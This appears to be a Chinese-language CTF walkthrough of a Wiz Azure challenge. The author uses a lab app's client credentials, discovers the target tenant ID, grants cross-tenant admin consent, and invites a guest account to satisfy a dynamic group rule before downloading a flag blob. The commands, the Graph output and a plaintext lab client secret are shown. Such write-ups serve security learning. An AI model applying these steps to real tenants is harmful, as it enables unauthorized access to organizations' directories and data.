(部分图片打码,不然传不上来)

题目开局给了初始OAuth的凭据,以及一个可以注册目标租户(TENANT)管理员的web页面

user@monthly-challenge:~$ env I grep 
AZURE_TENANT_ID=967a4bc4-782a-492d-a5d5-afe8a7550b5f
AZURE_CLIENT_SECRET=yx68Q~II4GTgTEyhlNyDxBh73XOYZwQhxWDdfaIc
AZURE_CLIENT_ID=f83cb3d7-47de-4154-be65-c85d697cdfd3
user@monthly-challenge:~$ echo SWEB APP ENDPOINThttps://app-admin-dpbug0fqb4gea3a6.z01.azurefd.net


但是没给目标租户,这里先考虑怎么获取目标的 `tenantID` 不然操作一顿都不知道打谁。

他这里线索中只有webapp是与另一个租户相关联。

先尝试在页面上创建一个账户,然后再回来看下这个OAuth是要咋利用,因为是app所以不能直接用az来,于是得首先获取一个的可以用的token。

ACCESS_TOKEN=$(curl -s -X POST \
  https://login.microsoftonline.com/$AZURE_TENANT_ID/oauth2/v2.0/token \
  -d "grant_type=client_credentials" \
  -d "client_id=$AZURE_CLIENT_ID" \
  -d "client_secret=$AZURE_CLIENT_SECRET" \
  -d "scope=https%3A%2F%2Fgraph.microsoft.com%2F.default" \
  | jq -r '.access_token')

检查一下确认是能用的。

然后通过刚才注册的帐户把这个应用注册过去,虽然还没有获取到对面的tenantID,不过先试一下。

这里可以参考下文构造授权,权限的话这里直接默认上的

https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow

echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=$AZURE_CLIENT_ID&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%2Fmyapp%2F
&response_mode=query&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default"

然后用刚才的账户进行授权

点击授权后登录报错提示。

研究了下文档,说是租户之间得用tenantID 再给改了下

echo "https://login.microsoftonline.com/$AZURE_TENANT_ID/oauth2/v2.0/authorize?
client_id=$AZURE_CLIENT_ID&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%2Fmyapp%2F
&response_mode=query&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default"

这里还是报错了

不过倒是拿到了他 `tenantID d26f353d-c564-48e7-b26f-aa48c6eecd58`

这里报错说这个刚创建的的账户没有在他 MSFT 租户里,所以没法访问这个应用。

不过我本意就是拿他tenantID顺带着枚举下,拿到之后替换授权,再次访问。

echo "https://login.microsoftonline.com/d26f353d-c564-48e7-b26f-aa48c6eecd58/oauth2/v2.0/authorize?
client_id=$AZURE_CLIENT_ID&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%2Fmyapp%2F
&response_mode=query&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&prompt=consent"

这一次是有了,但是提示这么登录没有访问权限

研究一会看到他授权的时候回复了这么个url

https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices

里面实用了一个赋权的url,如下

https://login.microsoftonline.com/common/adminconsent?client_id=f83cb3d7-47de-4154-be65-c85d697cdfd3&redirect_uri=https://app-admin-dpbug0b4gea3a6.z01.azurefd.net/

翻了下相关文档

https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/grant-admin-consent?pivots=portal

用文章中的方式再尝试一下,报错变了

与定义的 redirect_uri 不符和说是

回去查下这个应用redirect_uri咋定义的。

这个部分不太熟,让ai看了下,直接通过graph查下就可以看到允许范围内的redirect_uri

TOKEN=$(curl -s -X POST https://login.microsoftonline.com/${AZURE_TENANT_ID}/oauth2/v2.0/token \
  -d "grant_type=client_credentials" \
  -d "client_id=${AZURE_CLIENT_ID}" \
  -d "client_secret=${AZURE_CLIENT_SECRET}" \
  -d "scope=https://graph.microsoft.com/.default" | jq -r '.access_token')
curl -sH "Authorization: Bearer $ACCESS_TOKEN"      "https://graph.microsoft.com/v1.0/appl
ications(appId='${AZURE_CLIENT_ID}')?\$select=web"|jq .
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#applications(web)/$entity",
  "web": {
    "homePageUrl": null,
    "logoutUrl": null,
    "redirectUris": [
      "https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices"
    ],
    "implicitGrantSettings": {
      "enableAccessTokenIssuance": false,
      "enableIdTokenIssuance": false
    },
    "redirectUriSettings": [
      {
        "uri": "https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices",
        "index": null
      }
    ]
  }
}

这里redirectUrl给的

https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices

所以也要修改成一样的

https://login.microsoftonline.com/common/adminconsent?client_id=f83cb3d7-47de-4154-be65-c85d697cdfd3&redirect_uri=https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices

这次授权之后ok了,附加部分在url后面

不过这个授予的权限的范围取决于管理员预设的。

这里我还用code的授权模式搞了下

https://login.microsoftonline.com/common/oauth2/authorize?
response_type=code
&client_id=f83cb3d7-47de-4154-be65-c85d697cdfd3
&redirect_uri=https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices
&scope=openid profile offline_access https://graph.microsoft.com/Directory.Read.All https://graph.microsoft.com/Application.ReadWrite.All
&state=anything
&prompt=consent

然后这里拿着跳转的code去申请token,结果拿到的token只有用户自己查看profile 或者说/me的权限

curl -s -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "grant_type=authorization_code" \
  -d "client_id=$AZURE_CLIENT_ID" \
  -d "client_secret=$AZURE_CLIENT_SECRET" \
  -d "code=1.Aa4APTVv0mTF50iyb6pIxu7NWNezPPjeR1RBvmXIXWl839M7AUeuAA.AgABBAIAAABVrSpeuWamRam2jAF1XRQEAwDs_wUA9P9N-Jl9-pXfGiEZ0wHCPaGGbW51nvo5CsYD-m5p3SLXCu2KN6qI7p8y6_fQ08izL7ew40w3WUwClI9EBSVMIb1hsvaOi6q1nh7IMxXcq1XiRIJzvq1M97CNSOvtaMF3xOO8EXDMNEwQ3tEKU_qqsSsakBkDaw9iSwsRk9nw41H588OLePC3nRXKyvL0vTE4m4FT6E0pXRvTqi5lpqz3bZStJMKMu_QaWv1XHzWQj4pQ_CrNm-Sb_aN689sMpxJFuSfi8tRECdN8gAlu2bk2zrhx6UMLIzsXvDwXdIMx7g2p5vwWx79bBiKl0jhvlKlGRTUnCLk9VSMt-hOjpZBxZu_WPElk_cyrkiW85zNF8qBY9Y9SRltySHDqveRLM7_vPy41BTHxJTyghHQbGYsoTIYCMgzagbgaA-shJegE66ryLMxzMDAxWyj8ii3T40MZxgl4WaUsFvgV2--TX4etXXmSRT7URjKm1utz-KBzLiakaUKgoqMD6CTcUD43yDHSds3jBlgy9xXsmQWgMLS2-Cu7zHAO9s0vsALGOCQ-Z1c_eezQURaB5_4CS0CVG30n8Zc1Bn59gYXcvw-LWJhU8VKqOY9NvDnViBC0icZak9kEBYf_3S12v80k0ZiGy_UUqfhZbQkX6_kTmirmnAVRowc2qyfkB8F5UdY6a6GjwAXkobeI5ljfVb94etzKa-OkjvqKykzIiyMnT5fwfNCm5Ym9xA64eQzEiiM52mKYn1PRbMdx-XqGa4EX6x4-x_dhluDimLocSVCtucAWifrouV_UIBrjO1nTn7ohsymJVZhj6CdJmwq2U2xcjMFwj9acHKakEubvrq3D" \
  -d "redirect_uri=https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices"

回到正题,拿到授权之后先获取目标用户上本应用的token

TOKEN=$(curl -s -X POST https://login.microsoftonline.com/d26f353d-c564-48e7-b26f-aa48c6eecd58/oauth2/v2.0/token \
  -d "grant_type=client_credentials" \
  -d "client_id=${AZURE_CLIENT_ID}" \
  -d "client_secret=${AZURE_CLIENT_SECRET}" \
  -d "scope=https://graph.microsoft.com/.default" | jq -r '.access_token')

检查下目标租户上的应用token权限

这里被赋予了查询组和邀请Guest账户的权限

https://learn.microsoft.com/en-us/graph/api/invitation-post?view=graph-rest-1.0&tabs=http

先看了下组,其中有个 Users assigned access to flag 的组

user@monthly-challenge:~$ curl -sH "Authorization: Bearer $TOKEN" \
     https://graph.microsoft.com/v1.0/groups | jq '.value[] | {displayName,id}'
{
  "displayName": "SecGrp-Network-Admins",
  "id": "0231085a-ee51-42f6-b641-42a1234cfb73"
}
{
  "displayName": "SecGrp-Finance-Dept",
  "id": "0ae4b3cc-4e7a-4fc1-b547-d2facad90119"
}
{
  "displayName": "SecGrp-HR-Dept",
  "id": "192d7c4a-235e-45b4-866d-c3360db7eb1d"
}
{
  "displayName": "SecGrp-Privileged-Admins",
  "id": "2661ef49-c568-4132-a59e-7b75e2ac05d6"
}
{
  "displayName": "SecGrp-Developers",
  "id": "313cf35f-8c44-478a-ba4a-11b7904e1c1c"
}
{
  "displayName": "DynGrp-Guests-Only",
  "id": "4bf7b481-58bb-4631-afe9-7af96ce822e4"
}
{
  "displayName": "Users assigned access to flag",
  "id": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd"
}
{
  "displayName": "SecGrp-ReadOnly-Auditors",
  "id": "cc27dfa8-2df1-4f84-99b7-c2d91e1e762e"
}
{
  "displayName": "SecGrp-Data-Scientists",
  "id": "df2dab3d-1276-49e1-9d63-a4d29302dd36"
}

检查下这个组内容

user@monthly-challenge:~$ curl -sH "Authorization: Bearer $TOKEN"      https://graph.microsoft.com/v1.0/groups | jq '.value[]|select(.id=="7d060bb7-75e4-456e-b46f-382f4ff0c4fd")'
{
  "id": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd",
  "deletedDateTime": null,
  "classification": null,
  "createdDateTime": "2025-08-19T14:16:41Z",
  "creationOptions": [],
  "description": "Users assigned access to flag",
  "displayName": "Users assigned access to flag",
  "expirationDateTime": null,
  "groupTypes": [
    "DynamicMembership"
  ],
  "isAssignableToRole": null,
  "mail": null,
  "mailEnabled": false,
  "mailNickname": "44a9daaf-2",
  "membershipRule": "(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")",
  "membershipRuleProcessingState": "On",
  "onPremisesDomainName": null,
  "onPremisesLastSyncDateTime": null,
  "onPremisesNetBiosName": null,
  "onPremisesSamAccountName": null,
  "onPremisesSecurityIdentifier": null,
  "onPremisesSyncEnabled": null,
  "preferredDataLocation": null,
  "preferredLanguage": null,
  "proxyAddresses": [],
  "renewedDateTime": "2025-08-19T14:16:41Z",
  "resourceBehaviorOptions": [],
  "resourceProvisioningOptions": [],
  "securityEnabled": true,
  "securityIdentifier": "S-1-12-1-2097548215-1164867044-792227764-4257542223",
  "theme": null,
  "uniqueName": null,
  "visibility": null,
  "onPremisesProvisioningErrors": [],
  "serviceProvisioningErrors": []
}

其中,该组membershipRule中定义了,符合以下条件的就可以被自动加到这组里

"(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")"

这里其实只要满足一项即可,我想了下好像其实主要就只要满足 userType 为 Guest 就好,其他都是次要的。

正巧当前应用又有个 User.Invite.All 权限,对于这个权限的微软文档定义如下

Create invitation
10/17/2024
Namespace: microsoft.graph

Use this API to create a new invitation or reset the redemption status for a guest user who already redeemed their invitation. The invitation adds the external user to the organization as part of B2B collaboration. B2B collaboration is supported in both Microsoft Entra External ID in workforce and external tenants.

When creating a new invitation, you have several options available:

On invitation creation, Microsoft Graph can automatically send an invitation email directly to the invited user, or your app can use the inviteRedeemUrl returned in the response to craft your own invitation (through your communication mechanism of choice) to the invited user. If you decide to have Microsoft Graph send an invitation email automatically, you can specify the content and language of the email by using invitedUserMessageInfo.
When the user is invited, a user entity (of userType Guest) is created and can be used to control access to resources. The invited user has to go through the redemption process to access any resources they have been invited to.

说白了就是拉进来个 Guest 类型的用户到 tenant。

那其实就随便拉一个自己新创建的账户到租户里就好,用临时邮箱注册个微软账户,顺带满足下 CTF 开头的要求。

依照msdn文档中的请求,拉一下创建的这个账户。

POST https://graph.microsoft.com/v1.0/invitations
Content-type: application/json

{
  "invitedUserEmailAddress": "admin@fabrikam.com",
  "inviteRedirectUrl": "https://myapp.contoso.com"
}

改改请求一下

curl -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{
  "invitedUserEmailAddress": "ctfaa@osxofulk.com",
  "inviteRedirectUrl": "https://myapp.contoso.com",
  "sendInvitationMessage": false
}' https://graph.microsoft.com/v1.0/invitations

{"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#invitations/$entity","id":"6c437c3a-30b2-46c6-8e6a-7678466239c8","inviteRedeemUrl":"https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3dd2xxxxxxxxxxxxxxxxxxxDe9LdUcgPWUYdHmlqW%25252bxgqtRsrsHyPVyN0U3Q%25253d%26ver%3d2.0","invitedUserDisplayName":null,"invitedUserType":"Guest","invitedUserEmailAddress":"ctfaa@osxofulk.com","sendInvitationMessage":false,"resetRedemption":false,"inviteRedirectUrl":"https://www.example.com/","status":"PendingAcceptance","invitedUserMessageInfo":{"messageLanguage":null,"customizedMessageBody":null,"ccRecipients":[{"emailAddress":{"name":null,"address":null}}]},"invitedUser":{"id":"e269d1a6-d3ac-46cc-9525-74d5ddbf0840","userPrincipalName":"ctfaa_osxofulk.com#EXT#@wizctfchallenge.onmicrosoft.com"}

点击其中的 inviteRedeemUrl 的链接,使用刚注册的账户进行受邀即可。

为了方便,后面用portal了

https://portal.azure.com/

在目录切换里,切换到wiz这个挑战的目录。

然后获取token.检查一下这个账户的权限。

az account get-access-token --query accessToken -o tsv

能看到基本上是没权限的

...
"scp": "user_impersonation",
...

确认一下这个账户组,是包含 7d060bb7-75e4-456e-b46f-382f4ff0c4fd 组的

ctfasohd [ ~ ]$ az ad user get-member-groups --id $(az ad signed-in-user show --query id -o tsv)
[
  {
    "displayName": null,
    "id": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd"
  },
  {
    "displayName": null,
    "id": "4bf7b481-58bb-4631-afe9-7af96ce822e4"
  }
]

然后枚举一下 7d060bb7-75e4-456e-b46f-382f4ff0c4fd 组的权限等。

结果这个用户没权限。

ctfasohd [ ~ ]$ az ad group show --group 7d060bb7-75e4-456e-b46f-382f4ff0c4fd
Insufficient privileges to complete the operation.

得用刚刚的group.all的应用账户看

user@monthly-challenge:~$ curl -s -X GET "https://graph.microsoft.com/v1.0/groups/7d060bb7-75e4-456e-b46f-382f4ff0c4fd/appRoleAssignments" -H "Authorization: Bearer $TOKEN" | jq .
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#appRoleAssignments",
  "value": [
    {
      "id": "twsGfeR1bkW0bzgvT_DE_V5Q7va9YiVJhNbO-CHOKZM",
      "deletedDateTime": null,
      "appRoleId": "00000000-0000-0000-0000-000000000000",
      "createdDateTime": "2025-08-19T17:40:17.6948177Z",
      "principalDisplayName": "Users assigned access to flag",
      "principalId": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd",
      "principalType": "Group",
      "resourceDisplayName": "CTF Challenge Flag",
      "resourceId": "80b871a5-ce2b-4685-81e8-a02ea36dcf65"
    }
  ]
}

能看到 7d060bb7-75e4-456e-b46f-382f4ff0c4fd 组有权限访问资源 80b871a5-ce2b-4685-81e8-a02ea36dcf65 然后再涉及到的他就没法看了。

确定资源ID之后,切回刚才的账户查看这个资源id内容。

ctfasohd [ ~ ]$ az rest --method GET --uri "https://graph.microsoft.com/v1.0/servicePrincipals/80b871a5-ce2b-4685-81e8-a02ea36dcf65" | jq .
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#servicePrincipals/$entity",
  "accountEnabled": true,
  "addIns": [],
  "alternativeNames": [],
  "appDescription": null,
  "appDisplayName": "CTF Challenge Flag",
  "appId": "6cd60a01-b413-40b7-ade6-ab508ba060a9",
  "appOwnerOrganizationId": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
  "appRoleAssignmentRequired": false,
  "appRoles": [],
  "applicationTemplateId": null,
  "createdDateTime": "2025-08-19T10:41:51Z",
  "deletedDateTime": null,
  "description": null,
  "disabledByMicrosoftStatus": null,
  "displayName": "CTF Challenge Flag",
  "homepage": "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt",
  "id": "80b871a5-ce2b-4685-81e8-a02ea36dcf65",
  "info": {
    "logoUrl": "https://aadcdn.msftauthimages.net/c1c6b6c8-agzjojyyfny3-iynuxcjiothvagag7-hoz9hvmlew-8/appbranding/tg4-wwkbwssyfxlwjtantnwvvjcpcp7c7f4ww8pu7fm/1033/bannerlogo?ts=638911969725909408",
    "marketingUrl": null,
    "privacyStatementUrl": null,
    "supportUrl": null,
    "termsOfServiceUrl": null
  },
  "keyCredentials": [],
  "loginUrl": null,
  "logoutUrl": null,
  "notes": null,
  "notificationEmailAddresses": [],
  "oauth2PermissionScopes": [],
  "passwordCredentials": [],
  "preferredSingleSignOnMode": null,
  "preferredTokenSigningKeyThumbprint": null,
  "replyUrls": [
    "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt"
  ],
  "resourceSpecificApplicationPermissions": [],
  "samlSingleSignOnSettings": null,
  "servicePrincipalNames": [
    "6cd60a01-b413-40b7-ade6-ab508ba060a9"
  ],
  "servicePrincipalType": "Application",
  "signInAudience": "AzureADMyOrg",
  "tags": [
    "WindowsAzureActiveDirectoryIntegratedApp"
  ],
  "tokenEncryptionKeyId": null,
  "verifiedPublisher": {
    "addedDateTime": null,
    "displayName": null,
    "verifiedPublisherId": null
  }
}

其中replyUrls是flag地址

https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt

直接访问的话报错

ctfasohd [ ~ ]$ az rest --method GET --uri "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt" 
Can't derive appropriate Azure AD resource from --url to acquire an access token. If access token is required, use --resource to specify the resource
Public access is not permitted on this storage account.(<?xml version="1.0" encoding="utf-8"?><Error><Code>PublicAccessNotPermitted</Code><Message>Public access is not permitted on this storage account.
RequestId:77bcee50-701e-001f-5112-193195000000
Time:2025-08-29T18:26:17.1040488Z</Message></Error>)

这里有提示报错,对象存储还得用对应的方式下载

https://learn.microsoft.com/en-us/cli/azure/storage/blob?view=azure-cli-latest&amp;viewFallbackFrom=azure-cli-12#az_storage_blob_download

down一下flag

ctfasohd [ ~ ]$ az storage blob download --account-name azurechallengectfflag  -f a -c grab-the-flag -n ctf_flag.txt --auth-mode login 
Finished[#############################################################]  100.0000%
{
  "container": "grab-the-flag",
  "content": "",
  "contentMd5": null,
  "deleted": false,
  "encryptedMetadata": null,
  "encryptionKeySha256": null,
  "encryptionScope": null,
  "hasLegalHold": null,
  "hasVersionsOnly": null,
  "immutabilityPolicy": {
    "expiryTime": null,
    "policyMode": null
  },
  "isAppendBlobSealed": null,
  "isCurrentVersion": null,
  "lastAccessedOn": null,
  "metadata": {},
  "name": "ctf_flag.txt",
  "objectReplicationDestinationPolicy": null,
  "objectReplicationSourceProperties": [],
  "properties": {
    "appendBlobCommittedBlockCount": null,
    "blobTier": null,
    "blobTierChangeTime": null,
    "blobTierInferred": null,
    "blobType": "BlockBlob",
    "contentLength": 55,
    "contentRange": "bytes None-None/55",
    "contentSettings": {
      "cacheControl": null,
      "contentDisposition": null,
      "contentEncoding": null,
      "contentLanguage": null,
      "contentMd5": "84we9DsrNXj4AFpgH4BX0A==",
      "contentType": "text/plain"
    },
    "copy": {
      "completionTime": null,
      "destinationSnapshot": null,
      "id": null,
      "incrementalCopy": null,
      "progress": null,
      "source": null,
      "status": null,
      "statusDescription": null
    },
    "creationTime": "2025-08-12T19:50:00+00:00",
    "deletedTime": null,
    "etag": "\"0x8DDD9D96C66138F\"",
    "lastModified": "2025-08-12T19:50:00+00:00",
    "lease": {
      "duration": null,
      "state": "available",
      "status": "unlocked"
    },
    "pageBlobSequenceNumber": null,
    "pageRanges": null,
    "rehydrationStatus": null,
    "remainingRetentionDays": null,
    "serverEncrypted": true
  },
  "rehydratePriority": null,
  "requestServerEncrypted": true,
  "snapshot": null,
  "tagCount": null,
  "tags": null,
  "versionId": null
}

得到flag

ctfasohd [ ~ ]$ cat a
WIZ_CTF{XXXXXXX}

最后水了个#14